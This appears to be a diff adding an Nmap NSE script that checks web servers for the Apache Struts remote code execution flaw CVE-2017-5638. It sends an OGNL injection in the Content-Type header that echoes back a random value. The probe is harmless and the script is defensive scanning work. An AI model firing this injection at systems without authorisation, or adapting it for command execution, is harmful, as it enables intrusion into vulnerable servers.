|
| 1 | +description = [[ |
| 2 | +Detects whether the specified URL is vulnerable to the Apache Struts |
| 3 | +Remote Code Execution Vulnerability (CVE-2017-5638). |
| 4 | +]] |
| 5 | + |
| 6 | +local http = require "http" |
| 7 | +local shortport = require "shortport" |
| 8 | +local vulns = require "vulns" |
| 9 | +local stdnse = require "stdnse" |
| 10 | +local string = require "string" |
| 11 | + |
| 12 | +--- |
| 13 | +-- @usage |
| 14 | +-- nmap -p <port> --script http-vuln-cve2017-5638 <target> |
| 15 | +-- |
| 16 | +-- @output |
| 17 | +-- PORT STATE SERVICE |
| 18 | +-- 80/tcp open http |
| 19 | +-- | http-vuln-cve2017-5638: |
| 20 | +-- | VULNERABLE |
| 21 | +-- | Apache Struts Remote Code Execution Vulnerability |
| 22 | +-- | State: VULNERABLE |
| 23 | +-- | IDs: CVE:CVE-2017-5638 |
| 24 | +-- | |
| 25 | +-- | Disclosure date: 2017-03-07 |
| 26 | +-- | References: |
| 27 | +-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 |
| 28 | +-- | https://cwiki.apache.org/confluence/display/WW/S2-045 |
| 29 | +-- |_ http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html |
| 30 | +-- |
| 31 | +-- @args http-vuln-cve2017-5638.method The HTTP method for the request. The default method is "GET". |
| 32 | +-- @args http-vuln-cve2017-5638.path The URL path to request. The default path is "/". |
| 33 | + |
| 34 | +author = "Seth Jackson" |
| 35 | +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" |
| 36 | +categories = { "vuln" } |
| 37 | + |
| 38 | +portrule = shortport.http |
| 39 | + |
| 40 | +action = function(host, port) |
| 41 | + local vuln = { |
| 42 | + title = "Apache Struts Remote Code Execution Vulnerability", |
| 43 | + state = vulns.STATE.NOT_VULN, |
| 44 | + description = [[ |
| 45 | +Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution |
| 46 | +vulnerability via the Content-Type header. |
| 47 | + ]], |
| 48 | + IDS = { |
| 49 | + CVE = "CVE-2017-5638" |
| 50 | + }, |
| 51 | + references = { |
| 52 | + 'https://cwiki.apache.org/confluence/display/WW/S2-045', |
| 53 | + 'http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html' |
| 54 | + }, |
| 55 | + dates = { |
| 56 | + disclosure = { year = '2017', month = '03', day = '07' } |
| 57 | + } |
| 58 | + } |
| 59 | + |
| 60 | + local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) |
| 61 | + |
| 62 | + local method = stdnse.get_script_args(SCRIPT_NAME..".method") or "GET" |
| 63 | + local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/" |
| 64 | + local value = stdnse.generate_random_string(8) |
| 65 | + |
| 66 | + local header = { |
| 67 | + ["Content-Type"] = string.format("%%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Check-Struts', '%s')}.multipart/form-data", value) |
| 68 | + } |
| 69 | + |
| 70 | + local response = http.generic_request(host, port, method, path, { header = header }) |
| 71 | + |
| 72 | + if response and response.status == 200 and response.header["x-check-struts"] == value then |
| 73 | + vuln.state = vulns.STATE.VULN |
| 74 | + end |
| 75 | + |
| 76 | + return vuln_report:make_output(vuln) |
| 77 | +end |
0 commit comments